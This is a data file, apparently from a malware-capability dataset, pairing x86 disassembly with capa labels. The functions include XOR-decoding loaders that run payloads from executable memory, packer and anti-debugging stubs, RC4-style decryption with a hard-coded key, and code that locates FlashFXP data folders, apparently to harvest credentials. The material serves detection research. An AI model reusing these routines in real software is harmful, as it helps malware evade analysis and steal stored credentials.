joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405d6a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x405d79
pop dword [ebp - 0x2c]
mov eax, 0x1eafaf1f
sub eax, 0x1e6f51a6
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0xe0cf78a3
add dword [ebp - 0x3c], 0x6d82cca8
mov dword [ebp - 0x38], 0xb40ff659
sub dword [ebp - 0x38], 0x81dcaa14
mov dword [ebp - 0x34], 0x1ddc16e7
sub dword [ebp - 0x34], 0xd18fd2b9
mov dword [ebp - 0x30], 0x634dba5d
add dword [ebp - 0x30], 0x9cb245a3
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x96ddbe3d
add dword [ebp - 0x3c], 0xdd94ab19
mov dword [ebp - 0x38], 0xc5e71b4b
sub dword [ebp - 0x38], 0x847ab9d6
mov dword [ebp - 0x34], 0x99341a1
sub dword [ebp - 0x34], 0xa623d535
mov dword [ebp - 0x30], 0xee5cb159
sub dword [ebp - 0x30], 0xee5cb159
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0x65eb3761
add eax, 0x9a5538bf
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x37c17
push 0
call eax
mov ecx, 0xf0ef1933
sub ecx, 0xf0eed109
xor ebx, ebx
add ebx, eax
mov esi, 0xa85c05d0
add esi, 0x57e4c230
add esi, dword [ebp - 0x2c]
mov edi, 0x96e6bdd4
sub edi, 0x236f3ba7
add dword [ebp - 0x14], ebx
mov edx, dword [esi]
sub dword [ebp - 0x1c], 0xb04c5e76
xor edx, edi
mov dword [ebp - 0x28], 0xfa5831b5
mov dword [ebx], edx
xor dword [ebp - 0x28], 0x737b42f9
add ebx, 0xc1b3a529
add ebx, 0x3e4c5adb
add esi, 4
loop 0x405e98
add eax, 0xa3356686
sub eax, 0xa334530b
xor ebx, ebx
add ebx, eax
add eax, 0x9ff8657b
sub eax, 0x9ff86576
mov ecx, 0xe6c1d5ea
add ecx, 0x197e2a16
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x432001
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x432072
mov ebx, 0x40c7d0
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x2a61405a
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x432060
nop
nop
nop
mov eax, section..text_1
cmp eax, 0
nop
nop
nop
nop
je 0x4320d2
nop
nop
nop
nop
mov ebx, 0x42f314
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x1a1e0845
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x40d29a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x40d2a9
pop dword [ebp - 0x50]
mov eax, 0x6bbdb062
sub eax, 0x6b7cddb9
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x38298
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0xf818fcdd
sub ecx, 0xf818b99b
mov ebx, eax
mov edx, 0x5ad8f143
add edx, 0xa5684a81
add edx, dword [ebp - 0x50]
mov edi, 0x3a00986f
sub edi, 0x63790fd9
xor dword [ebp - 0x30], esi
mov esi, dword [edx]
add esi, edi
xor dword [ebp - 8], edi
mov dword [ebx], esi
sub dword [ebp - 0x44], 0x5a13c9bb
add ebx, 0x116fbabe
sub ebx, 0x116fbaba
add edx, 0x28ed73a2
sub edx, 0x28ed739e
loop 0x40d303
add eax, 0xf86b3d0a
sub eax, 0xf86a3d2f
xor ebx, ebx
add ebx, eax
add eax, 0xa7ff5a1e
sub eax, 0xa7ff5a19
mov ecx, 0x8f2c5fd2
sub ecx, 0x8eec5fd2
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x401000
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
mov al, byte [esi]
cmp al, 0x22
jne 0x401029
mov al, byte [esi + 1]
inc esi
test al, al
je 0x401021
cmp al, 0x22
jne 0x401015
cmp byte [esi], 0x22
jne 0x401033
inc esi
jmp 0x401033
cmp al, 0x20
jle 0x401033
inc esi
cmp byte [esi], 0x20
jg 0x40102d
mov al, byte [esi]
test al, al
je 0x40103d
cmp al, 0x20
jle 0x401026
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.004018d4
push 0x404004
push section..data
call fcn.004018ba
test byte [ebp - 0x18], 1
pop ecx
pop ecx
je 0x40106d
movzx eax, word [ebp - 0x14]
jmp 0x401070
push 0xa
pop eax
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov esi, eax
call fcn.00401123
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1423dc5
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp ebp
push eax
cwde
lahf
jmp 0x15ab73e
xor edx, ebx
xor edx, 0x75674375
jmp 0x1ab69f1
dec edx
stc
xor edx, 0x17ed224d
test cx, bp
clc
xor ebx, edx
cmp cx, di
jmp 0x156c8b3
add ebp, edx
jmp 0x13bb82c
sub ebx, eax
btr ebp, 0xd4
rol bp, 0x40
lea ebp, [0x15a736c]
rol dh, 0x78
mov edx, dword [edi]
lea edi, [edi + 4]
jmp 0x1435d27
push edx
push ebp
movzx ebp, si
rdtsc
push edi
xchg bp, dx
mov dl, dh
movsx edx, si
push ecx
rdtsc
movzx ax, dl
push esi
pushfd
btc edx, edi
lahf
push ebx
cbw
xadd edx, ebx
mov edx, 0
add bx, sp
push edx
btc bp, 0x11
ror bp, 0xc6
mov edi, dword [esp + 0x28]
xor eax, eax
btr ebp, ebx
adc ebx, esp
neg edi
xchg ebx, esi
not si
cbw
not edi
cmovo ebp, esp
inc edi
not edi
not ax
bts ebp, edi
ror edi, 3
not edi
btr ebp, 0x30
xor ah, 0x5e
add edi, edx
cmp si, 0x6a47
add edx, esi
shr bh, cl
mov esi, esp
sub esp, 0xc0
btr bx, 0xd9
mov ebx, edi
cmp esi, ebx
dec edx
mov eax, 0
jmp 0x15a7362
rol edx, 3
not edx
cmp ecx, ebx
neg edx
jmp 0x1472295
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
popal
nop
nop
nop
jmp fcn.00401219
Function at 0x40dd90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x40dd9f
pop dword [ebp - 0x30]
mov eax, 0x8eb525a5
add eax, 0x718bb7fa
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x1d505018
add dword [ebp - 0x40], 0x3101f533
mov dword [ebp - 0x3c], 0x65e7dc0f
sub dword [ebp - 0x3c], 0x33b48fca
mov dword [ebp - 0x38], 0x5d6e9d31
add dword [ebp - 0x38], 0xeedda6fd
mov dword [ebp - 0x34], 0x4e874c5
add dword [ebp - 0x34], 0xfb178b3b
lea eax, [ebp - 0x40]
push eax
mov eax, 0xce57362b
add eax, 0x31e9fa75
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x966479c0
sub dword [ebp - 0x40], 0x21f2106a
mov dword [ebp - 0x3c], 0xe25fc9ca
sub dword [ebp - 0x3c], 0xa0f36855
mov dword [ebp - 0x38], 0xa14ea28f
sub dword [ebp - 0x38], 0x3ddf3623
mov dword [ebp - 0x34], 0xe5e24dd5
add dword [ebp - 0x34], 0x1a1db22b
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0xc1476e03
add eax, 0x3ef9c239
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x3e545
push 0
call eax
mov ecx, 0x1ee9f9f7
add ecx, 0xe1165c95
mov edi, eax
mov ebx, 0x86ec6b9d
add ebx, 0x79554463
add ebx, dword [ebp - 0x30]
mov edx, 0xd2db0160
sub edx, 0xa7d32fd1
add dword [ebp - 0x24], 0x89b06096
mov esi, dword [ebx]
xor dword [ebp - 4], esi
sub esi, edx
sub dword [ebp - 0x14], edx
mov dword [edi], esi
add dword [ebp - 0x28], 0x389310c3
add edi, 4
add ebx, 4
loop 0x40dec1
add eax, 0x1e429b41
sub eax, 0x1e414e3e
mov ebx, eax
add eax, 0xf2a37067
sub eax, 0xf2a37062
mov ecx, 0xe6f0fc75
sub ecx, 0xe6b0fc75
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x410100
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 4
mov esi, ecx
call main
pop ecx
xor ecx, ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x41011c
mov dword [eax], ecx
jmp 0x41011e
mov eax, ecx
push ecx
push ecx
push esi
push 0x410190
push ecx
push ecx
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_CreateThread]
mov ecx, dword [esi + 0x10]
pop esi
mov dword [ecx], eax
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x6d9002f6
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x54354ce4
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x466790
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x24000]
push edi
or ebp, 0xffffffff
jmp 0x4667b2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4667b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4667a8
mov eax, 1
add ebx, ebx
jne 0x4667cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4667c0
jne 0x4667dc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4667c0
xor ecx, ecx
sub eax, 3
jb 0x4667f0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x466862
mov ebp, eax
add ebx, ebx
jne 0x4667fb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x466808
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x46682c
inc ecx
add ebx, ebx
jne 0x466818
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x46680d
jne 0x466829
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x46680d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x46684c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x46683d
jmp 0x4667ae
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x46684c
add edi, ecx
jmp 0x4667ae
pop esi
mov edi, esi
mov ecx, 0x20400
jmp 0x46689e
mov al, byte [edi]
add edi, 1
cmp al, 0x80
jb 0x46687f
cmp al, 0x8f
ja 0x46687f
cmp byte [edi - 2], 0xf
je 0x466885
sub al, 0xe8
cmp al, 1
ja 0x4668a8
cmp byte [edi], 9
jne 0x4668a8
mov eax, dword [edi]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
mov dword [edi], eax
add edi, 4
sub ecx, 4
mov al, byte [edi]
add edi, 1
loop 0x46687f
sub ecx, 1
jg 0x46686c
lea edi, [esi + 0x64000]
mov eax, dword [edi]
or eax, eax
je 0x4668fe
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x665a8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x66634]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4668b3
mov ecx, edi
jns 0x4668e2
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x66638]
or eax, eax
je 0x4668f8
mov dword [ebx], eax
add ebx, 4
jmp 0x4668d0
call dword [esi + 0x66648]
mov ebp, dword [esi + 0x6663c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x466932
sub esp, 0xffffff80
jmp 0x411dcf
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x430001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..pdata
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408f6c
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x31067f86
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..pdata_1
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e3d0
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x6aff7c10
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x40253c
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2064
call fcn.0040d600
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
xor esi, esi
cmp dword [0x4114d4], esi
push edi
mov dword [ebp - 4], esi
jne 0x402572
jmp 0x402568
push 0x2710
call ebx
call fcn.00406d6f
cmp eax, 1
jne 0x402561
cmp dword [ebp + 0x1c], esi
je 0x402584
push 4
push esi
push 7
call fcn.0040a895
add esp, 0xc
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor edi, edi
cmp dword [ebp + 0x18], esi
jle 0x4025ba
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00407083
add esp, 0x10
test eax, eax
jne 0x4025c1
push 0xea60
inc edi
call ebx
cmp edi, dword [ebp + 0x18]
jl 0x402594
xor eax, eax
jmp 0x402660
cmp dword [ebp + 0x1c], esi
je 0x4025d3
push 4
push esi
push 8
call fcn.0040a895
add esp, 0xc
push 0x44
lea eax, [ebp - 0x60]
push esi
push eax
call fcn.0040d580
lea eax, [ebp - 0x2060]
add esp, 0xc
push eax
mov edx, 0x40e314
call fcn.0040550e
pop ecx
mov ecx, dword [ebp + 0x10]
lea eax, [ebp - 0x2060]
call fcn.004054ea
mov ecx, 0x40e318
call fcn.004054ea
cmp dword [ebp + 0x14], esi
je 0x402630
mov edx, dword [ebp + 0x14]
mov eax, str.none
call fcn.00405464
test eax, eax
je 0x402630
mov ecx, dword [ebp + 0x14]
lea eax, [ebp - 0x2060]
call fcn.004054ea
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x60]
push eax
push 0x421050
push esi
push 0x20
push esi
push esi
push esi
lea eax, [ebp - 0x2060]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x40265d
or dword [ebp - 4], 8
jmp 0x402660
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x20]
cmp ecx, esi
je 0x40266c
mov edx, dword [ebp - 4]
mov dword [ecx], edx
mov ecx, dword [ebp + 0x24]
cmp ecx, esi
je 0x402675
mov dword [ecx], esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4033ce
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
movzx eax, word [ecx]
sub esp, 0x140
push ebx
push esi
xor esi, esi
test ax, ax
push edi
mov edx, ecx
je 0x4033f9
movzx eax, ax
cmp ax, 3
je 0x403401
inc edx
inc edx
movzx eax, word [edx]
test ax, ax
jne 0x4033e9
cmp word [edx], 3
je 0x403401
xor edx, edx
test edx, edx
je 0x403411
call fcn.0040c3b9
mov dword [ebp - 4], eax
mov ebx, ecx
jmp 0x403429
lea ebx, [ebp - 0x40]
mov eax, ebx
push eax
mov edx, str.yA36zA48dEhfrvghGRg57h5UlDv3
mov dword [ebp - 4], 0x1c
call fcn.0040550e
pop ecx
mov ecx, dword [ebp + 8]
call fcn.0040c3b9
cdq
sub eax, edx
mov edi, eax
sar edi, 1
cmp edi, 0xff
jge 0x403496
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x140]
call fcn.0040c288
test al, al
je 0x403496
dec edi
xor ecx, ecx
xor esi, esi
test edi, edi
jle 0x40348c
cmp esi, dword [ebp - 4]
jne 0x403462
xor esi, esi
mov al, byte [ebx + esi*2]
xor al, byte [ebp + ecx - 0x13f]
mov dl, byte [ebp + ecx - 0x140]
cmp al, dl
jae 0x403479
dec al
sub al, dl
mov edx, dword [ebp + 8]
movzx ax, al
mov word [edx + ecx*2], ax
inc ecx
inc esi
cmp ecx, edi
jl 0x40345b
mov eax, dword [ebp + 8]
and word [eax + ecx*2], 0
mov esi, ecx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40373d
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x484
push ebx
push esi
push edi
push 8
xor ebx, ebx
push ebx
lea eax, [ebp - 8]
push eax
call fcn.0040bef2
lea eax, [ebp - 0x70]
push eax
mov edx, str.SOFTWAREFlashFXP3
call fcn.0040550e
pop ecx
lea eax, [ebp - 0x30]
push eax
mov edx, str.datafolder
call fcn.0040550e
pop ecx
mov esi, 0x104
push esi
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x70]
push eax
lea edi, [ebp - 0x278]
mov eax, 0x80000002
call fcn.004085b4
add esp, 0xc
cmp eax, 0xffffffff
je 0x4037c2
cmp eax, ebx
jbe 0x4037c2
push esi
lea eax, [ebp - 0x480]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x480]
push eax
call fcn.0040349d
pop ecx
pop ecx
cmp dword [ebp - 4], ebx
jne 0x403837
lea eax, [ebp - 0x48]
push eax
mov edx, str.flashfxp
call fcn.0040550e
lea eax, [ebp - 0x48]
pop ecx
mov dword [ebp - 0x18], 0x23
mov dword [ebp - 0x14], 0x1a
mov dword [ebp - 0x10], 0x26
mov dword [ebp - 0xc], eax
xor esi, esi
lea eax, [ebp - 0x278]
push eax
push ebx
push ebx
push dword [ebp + esi*4 - 0x18]
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x40382e
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push 0x403504
push 2
push 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x278]
push eax
call fcn.0040836d
add esp, 0x24
inc esi
cmp esi, 3
jb 0x4037f3
cmp dword [ebp - 4], ebx
jbe 0x403843
mov esi, dword [ebp - 8]
call fcn.00403395
jmp 0x40384c
push dword [ebp - 8]
call fcn.0040be8f
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403851
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov eax, dword [ecx]
imul eax, eax, 0x8088405
push 0x20
push 0
push dword [esp + 0xc]
inc eax
push 0
push eax
mov dword [ecx], eax
call fcn.004086f5
push edx
push eax
call fcn.004086c6
ret
Function at 0x403874
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
sub esp, 0x108
push ebx
push esi
push edi
call fcn.0040c3b9
cdq
sub eax, edx
mov esi, eax
sar esi, 1
cmp esi, 0xff
jge 0x403999
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x108]
call fcn.0040c288
test al, al
je 0x403999
sub esi, 4
xor ebx, ebx
test esi, esi
mov dword [ebp - 4], 0xcf671
jle 0x4038e1
push 8
lea ecx, [ebp - 4]
lea edi, [ebp + ebx - 0x108]
call fcn.00403851
pop ecx
movsx ecx, al
mov al, byte [edi]
rol al, cl
inc ebx
cmp ebx, esi
mov byte [edi], al
jl 0x4038c1
mov dword [ebp - 4], 0x3039
mov dword [ebp - 8], 0x100
push esi
lea ecx, [ebp - 4]
call fcn.00403851
pop ecx
push esi
lea ecx, [ebp - 4]
movsx edi, al
call fcn.00403851
dec dword [ebp - 8]
pop ecx
movsx ecx, al
lea ecx, [ebp + ecx - 0x108]
mov bl, byte [ecx]
lea eax, [ebp + edi - 0x108]
mov dl, byte [eax]
mov byte [eax], bl
mov byte [ecx], dl
jne 0x4038ef
xor edi, edi
test esi, esi
mov dword [ebp - 4], 0xa564
jle 0x40394b
push 0x100
lea ecx, [ebp - 4]
call fcn.00403851
xor byte [ebp + edi - 0x108], al
inc edi
cmp edi, esi
pop ecx
jl 0x403931
xor edi, edi
test esi, esi
mov dword [ebp - 4], 0xd431
jle 0x403972
push 0x100
lea ecx, [ebp - 4]
call fcn.00403851
sub byte [ebp + edi - 0x108], al
inc edi
cmp edi, esi
pop ecx
jl 0x403958
xor eax, eax
test esi, esi
jle 0x40398d
movzx cx, byte [ebp + eax - 0x108]
mov edx, dword [ebp + 8]
mov word [edx + eax*2], cx
inc eax
cmp eax, esi
jl 0x403978
mov eax, dword [ebp + 8]
and word [eax + esi*2], 0
mov eax, esi
jmp 0x40399b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret